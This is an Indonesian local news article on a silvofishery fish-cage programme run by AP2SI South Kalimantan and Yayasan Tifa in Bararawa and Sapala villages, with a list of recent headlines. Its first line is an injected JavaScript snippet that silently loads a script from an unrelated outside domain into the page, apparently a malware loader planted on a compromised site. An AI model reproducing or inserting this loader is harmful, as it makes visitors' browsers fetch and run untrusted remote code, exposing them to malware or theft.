(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Penguatan Ekonomi Masyarakat di Desa Bararawa dan Sapala Melalui Keramba Ikan


KANALKALIMANTAN.COM, AMUNTAI – Asosiasi Pengelola Perhutanan Sosial Indonesia (AP2SI) Kalimantan Selatan (Kalsel) tengah fokus pada penguatan ekonomi masyarakat di Desa Bararawa dan Sapala, Kecamatan Paminggir, Kabupaten Hulu Sungai Utara.

Melalui program optimalisasi silvofishery atau wanamina, program yang berjalan sejak September 2024 ini merupakan hasil kerja sama dengan Yayasan Tifa dan menyasar pada Lembaga Pengelola Hutan Desa (LPHD) serta Kelompok Usaha Perhutanan Sosial (KUPS).

Ahmad Miftahul Fauzi, Sekretaris AP2SI Kalsel mengatakan, program bertujuan untuk meningkatkan kapasitas pengurus LPHD dan KUPS dalam mengelola usaha budidaya ikan air tawar secara berkelanjutan.

“Fokus utama kita adalah penguatan ekonomi masyarakat melalui pemanfaatan potensi lokal secara bijaksana,” ujarnya.

Baca juga: Kampung di Atas Air: Menyusuri Rawa Menuju Desa Bararawa

Sebelumnya, AP2SI Kalsel dan Yayasan Tifa menggelar serangkaian kegiatan, termasuk sosialisasi, lokakarya, dan pelatihan. Kegiatan-kegiatan ini bertujuan untuk meningkatkan pemahaman tentang konsep silvofishery dan manfaatnya, memperkuat kelembagaan LPHD dan KUPS, mengembangkan keterampilan pengelolaan usaha yang efektif dan berkeadilan gender hingga membangun kolaborasi antar pihak terkait.

Sebagai tindak lanjut, KUPS Bararawa dan Sapala telah memulai usaha budidaya ikan di keramba jenis toman.

AP2SI Kalsel secara berkala melakukan monitoring dan evaluasi (Monev) untuk memastikan program berjalan sesuai rencana dan memberikan dampak positif bagi masyarakat. Monev meliputi pertemuan dengan anggota KUPS, pembahasan Standar Operasional Prosedur (SOP), serta identifikasi tantangan dan solusi.

Basrun, pendamping program menyampaikan, jika antusiasme masyarakat dalam kegiatan ini sangat tinggi.

“Sebagian besar warga sebagai nelayan tangkap. Dengan adanya usaha keramba ikan diharapkan mereka memiliki sumber pendapatan alternatif yang lebih stabil,” jelasnya.

AP2SI Kalsel berharap program silvofishery dapat menjadi model pengembangan ekonomi desa yang berkelanjutan, memberdayakan masyarakat, dan menjaga kelestarian lingkungan. Yayasan Tifa sebagai mitra terus mendukung inisiatif ini sebagai bagian dari upaya mewujudkan masyarakat terbuka dan berkeadilan.

“Harapan kita program ini tetap berlanjut, menjadi modal dan menjadi acuan masyarakat desa Bararawa dan Sapala untuk berkembang lebih baik ekonominya,” katanya.

Untuk diketahui, Yayasan Tifa adalah organisasi yang berkomitmen untuk mempromosikan masyarakat terbuka melalui kerja sama strategis dengan berbagai organisasi masyarakat sipil di Indonesia, baik di tingkat nasional maupun lokal.

Baca juga: Pemuda di Ponorogo Ngajak Jalan Sapi Beli Takjil

Didirikan pada 8 Desember 2000 oleh tokoh-tokoh masyarakat sipil, Yayasan Tifa berfokus pada perlindungan hak-hak kelompok minoritas dan marjinal, perluasan hak berekspresi, serta advokasi untuk kebebasan media dan transparansi dalam tata kelola pemerintahan.

Visi Yayasan Tifa adalah terwujudnya masyarakat yang menghargai kebhinekaan, kesetaraan, dan keadilan.

Di sisi lain, Asosiasi Pengelola Perhutanan Sosial Indonesia (AP2SI) berperan penting dalam pengelolaan hutan sosial di Indonesia. AP2SI bertujuan untuk memberdayakan masyarakat melalui pengelolaan sumber daya hutan secara berkelanjutan dan inklusif.

Organisasi ini mendukung penguatan kapasitas lembaga pengelola hutan desa dan kelompok usaha perhutanan sosial, serta mendorong kolaborasi antara berbagai pemangku kepentingan untuk meningkatkan kesejahteraan masyarakat.

Kerja sama antara AP2SI dan Yayasan Tifa dalam program-program seperti silvofishery di Desa Bararawa dan Sapala menunjukkan sinergi antara upaya pemberdayaan ekonomi lokal dan perlindungan hak-hak masyarakat.

Program ini tidak hanya bertujuan meningkatkan pendapatan masyarakat tetapi juga menjaga kelestarian lingkungan, menciptakan alternatif ekonomi yang berkelanjutan bagi para nelayan tangkap di kedua desa tersebut. (Kanalkalimantan.com/rizki)

Catatan: Serial liputan berjudul “Penguatan Ekonomi Masyarakat di Desa Bararawa dan Sapala Melalui Program Tambak Ikan” didukung oleh program dari Yayasan TIFA Foundation untuk Pengelolaan Perhutanan Sosial Indonesia AP2SI melalui AP2SI Kalimantan Selatan.

Reporter: rizki
Editor: rdy


Muhammad Andi

Recent Posts

Kuasa Hukum Keluarga Juwita Siap Tambah Barang Bukti dan Saksi

KANALKALIMANTAN.COM, BANJARBARU - Tim kuasa hukum keluarga Juwita berencana menambah barang bukti dan saksi tambahan… Read More

13 menit ago

Peringati Hari Malaria Sedunia, Ini Pesan Wabup Banjar

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi membuka pertemuan koordinasi lintas sektor… Read More

2 jam ago

Tim Kuasa Hukum Keluarga Juwita Soroti Dua Pasal Dakwaan

KANALKALIMANTAN.COM, BANJARBARU - Advokasi Untuk Keadilan (AUK) Juwita mendampingi pihak keluarga menghadiri proses pelimpahan perkara… Read More

6 jam ago

Odmil III-15 Banjarmasin Limpahkan Kasus Juwita ke Pengadilan Militer

KANALKALIMANTAN.COM, BANJARBARU - Oditurat Militer (Odmil) III-15 Banjarmasin melimpahlan perkara kasus pembunuhan berencana yang dilakukan… Read More

9 jam ago

Disogok, Tiga Polisi Polres Samarinda ‘Bebaskan’ Tahanan Nyabu di Sel

KANALKALIMANTAN.COM, SAMARINDA – Tiga oknum polisi diduga membiarkan narkoba masuk ke ruang tahanan Mapolres Samarinda,… Read More

10 jam ago

9 Klien Rehabilitasi Narkoba Dapat Pendampingan Kesbangpol dan BNNK HSU

KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 9 klien rehabilitasi narkoba mendapat fasilitas dan pendampingan rujukan ke Balai… Read More

10 jam ago